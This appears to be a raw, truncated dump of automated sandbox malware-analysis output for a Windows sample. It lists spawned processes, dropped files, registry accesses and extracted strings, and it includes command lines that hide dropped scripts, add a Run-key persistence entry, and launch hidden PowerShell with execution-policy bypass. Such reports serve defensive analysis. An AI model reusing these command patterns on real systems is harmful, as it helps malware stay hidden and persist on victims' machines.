00000000-00003412-00000C2B-1346863952] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003412-00000C2B-1346909913] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003412-00000C2B-1346926935] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003412-00000C2B-1347025757] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00003412-00000C2B-1347314902] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00003412-00000C2B-1347422337]3e:T453,Spawned process "cmd.exe" with commandline "/K "C:\\d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e7 ..." (UID: 00000000-00002204), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\JURY.ba ..." (UID: 00000000-00003168) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\infecti ..." (UID: 00000000-00003104), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00003052) Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadA ..." (UID: 00000000-00003412), Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\potato.ps1"" (UID: 00000000-00005344), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\ki1ogrqa\\ki1ogrqa.cmdline"" (UID: 00000000-00007768), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES9C7F.tmp" "%TEM ..." (UID: 00000000-00005512)3f:T453,Spawned process "cmd.exe" with commandline "/K "C:\\d856336054b054ee4b6aed66226e90dfca9a236e93012360b34001e7 ..." (UID: 00000000-00002204), Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\JURY.ba ..." (UID: 00000000-00003168) Spawned process "attrib.exe" with commandline "attrib +h +s "%APPDATA%\\Microsoft\\Windows\\Templates\\infecti ..." (UID: 00000000-00003104), Spawned process "reg.exe" with commandline "reg add "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru ..." (UID: 00000000-00003052) Spawned process "powershell.exe" with commandline "powershell -nop -w h -ep bypass -c "try { $c = [IO.File]::ReadA ..." (UID: 00000000-00003412), Spawned process "powershell.exe" with commandline "-nop -w h -ep bypass -f "%TEMP%\\potato.ps1"" (UID: 00000000-00005344), Spawned process "csc.exe" with commandline "/noconfig /fullpaths @"%TEMP%\\ki1ogrqa\\ki1ogrqa.cmdline"" (UID: 00000000-00007768), Spawned process "cvtres.exe" with commandline "/NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\\RES9C7F.tmp" "%TEM ..." (UID: 00000000-00005512)40:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp")41:T51e,"JURY.bat" has type "DOS batch file ASCII text with very long lines (63274) with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\JURY.bat]- [targetUID: 00000000-00002204] "potato.ps1" has type "Unicode text UTF-8 (with BOM) text with very long lines (65013)"- Location: [%TEMP%\potato.ps1]- [targetUID: 00000000-00002204] "infection.vbs" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Windows\Templates\infection.vbs]- [targetUID: 00000000-00002204] "ki1ogrqa.out" has type "Unicode text UTF-8 (with BOM) text with very long lines (433) with CRLF CR line terminators"- Location: [%TEMP%\ki1ogrqa\ki1ogrqa.out]- [targetUID: 00000000-00007768] "ki1ogrqa.0.cs" has type "Unicode text UTF-8 (with BOM) text"- Location: [%TEMP%\ki1ogrqa\ki1ogrqa.0.cs]- [targetUID: 00000000-00005344] "ki1ogrqa.cmdline" has type "Unicode text UTF-8 (with BOM) text with very long lines (370) with no line terminators"- Location: [%TEMP%\ki1ogrqa\ki1ogrqa.cmdline]- [targetUID: 00000000-00005344] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00003412] "JURY.bat%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]42:T71d,"cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\CONHOST.EXE"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\BAM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED\MACHINELANGUAGECONFIGURATION"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\MUI\SETTINGS"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\CONTROL PANEL\DESKTOP"; Key: ""; Value: "") "cmd.exe" (Access type: "OPEN"; Path: "HKCU\CONTROL PANEL\DESKTOP\LANGUAGECONFIGURATION"; Key: ""; Value: "")43:Taee,"cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "PREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP\MUICACHED"; Key: "MACHINEPREFERREDUILANGUAGES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "ENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: "FIPSALGORITHMPOLICY"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: "MDMENABLED"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORUSESYSTEMHEAP"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "PAGEALLOCATORSYSTEMHEAPISPRIVATE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\OLE"; Key: "AGGRESSIVEMTATESTING"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\GRE_INITIALIZE"; Key: "DISABLEMETAFILES"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\CONTROL PANEL\DESKTOP"; Key: "ENABLEPERPROCESSSYSTEMDPI"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\COMPATIBILITY32"; Key: "CMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINDOWS"; Key: "LOADAPPINIT_DLLS"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SYSTEM"; Key: "DISABLECMD"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\COMMAND PROCESSOR"; Key: "DISABLEUNCCHECK"; Value: "")44:Ta58,"cmd.exe" trying to access non-existent file "C:\POWERSHELL.EXE" "cmd.exe" trying to access non-existent file "C:\powershell.exe" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\bcrypt.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTBASE.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\System32\WindowsPowerShell\v1.0\CRYPTBASE.dll"45:T83c,"cmd.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\JURY.BAT" "cmd.exe" trying to access non-existent file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Templates\JURY.bat" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML"46:T4c2,Found reference to API "WSAStartup" (Indicator: "wsastartup"; Source: "00000000-00005308-00000C2C-1381822067") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00003412.00000000.152666.66EA0000.00000004.mdmp, 00000000-00003412.00000001.152819.66EA0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp, 00000000-00003412.00000001.152819.692D0000.00000004.mdmp") Found reference to API "ote: There is some performance penalty associated with assembly bind failure logging." (Indicator: " bind "; Source: "00000000-00005344.00000000.153153.36D30000.00000004.mdmp, 00000000-00005344.00000001.154706.36D30000.00000004.mdmp") Found reference to API "o enable assembly bind failure logging, set the registry value [HKLM\Software\Microsoft\Fusion!EnableLog] (DWORD) to 1." (Indicator: " bind "; Source: "00000000-00005344.00000000.153153.51270000.00000004.mdmp, 00000000-00005344.00000001.154706.51270000.00000004.mdmp")47:T1ba2,Pattern match: "http://go.microsoft.com/fwlink/?linkid=533240" Heuristic match: ":p2.eu" Pattern match: "microsoft.net/assembly/gac_msil/system.management.automation/v4.0_3.0.0.0__31bf3856ad364e35/system.management.automation.dll" Pattern match: "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid" Pattern match: "http://www.w3.org/2001/xmlschema#string" Pattern match: "http://schemas.microsoft.com/ws/2008/06/identity/claims/role" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225750" Pattern match: "https://go.microsoft.com/fwlink/?linkid=113316" Pattern match: "https://go.microsoft.com/fwlink/?linkid=160712" Pattern match: "http://schemas.microsoft.com/powershell/microsoft.powershell" Heuristic match: "set-location $myinvocation.mycommand.name" Pattern match: "https://go.microsoft.com/fwlink/?linkid=225747" Heuristic match: "get-content $file | more.com" Pattern match: "microsoft.net/assembly/gac_msil/microsoft.powershell.consolehost/v4.0_3.0.0.0__31bf3856ad364e35/microsoft.powershell.consolehost.dll" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "ws\.mm" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "icrosoft.powershell.co" Heuristic match: "icrosoft.powershell.gp" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "rol.no" Pattern match: "www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0a" Pattern match: "www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "http://www.microsoft.com/windows" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Heuristic match: "6299.15.cat" Pattern match: "microsoft.net/assembly/gac_64/mscorlib/v4.0_4.0.0.0__b77a5c561934e089/mscorlib.dll" Heuristic match: ":\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "??\c:\windows\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "icrosoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Pattern match: "www.microsoft.com/windows" Pattern match: "http://go.microsoft.com/fwlink/?linkid=42127" Heuristic match: "ystem.management.automation.re" Heuristic match: "t.automation.re" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Heuristic match: "pathext=.com" Heuristic match: "_v4.0.30319_64\system.configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\system.configuration.ni" Heuristic match: "on.re" Heuristic match: "://cert.gh"48:T8e45,Found URL "http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namead" - Source: "00000000-00003412.00000000.152666.00000000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00003412.00000000.152666.5DF82000.00000002.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,9iqmgvw,czco!yj01013000x'ec0101300001032400o@.a" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?e4607k!.i'+" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;k!.i'+" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0p:/i'0e0i'" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?secom" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l;k6i'ok6i'ck6i'wk6i'k6i'k6i'k6i'k6i'k6i'k6i'l6i'l6i'+l6i'?l6i'sl6i'gl6i'" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00003412.00000000.152666.692D0000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1a+zt20170929123018.134z0washington1redmond1microsoft" - Source: "00000000-00003412.00000000.152666.69850000.00000004.mdmp") Found URL 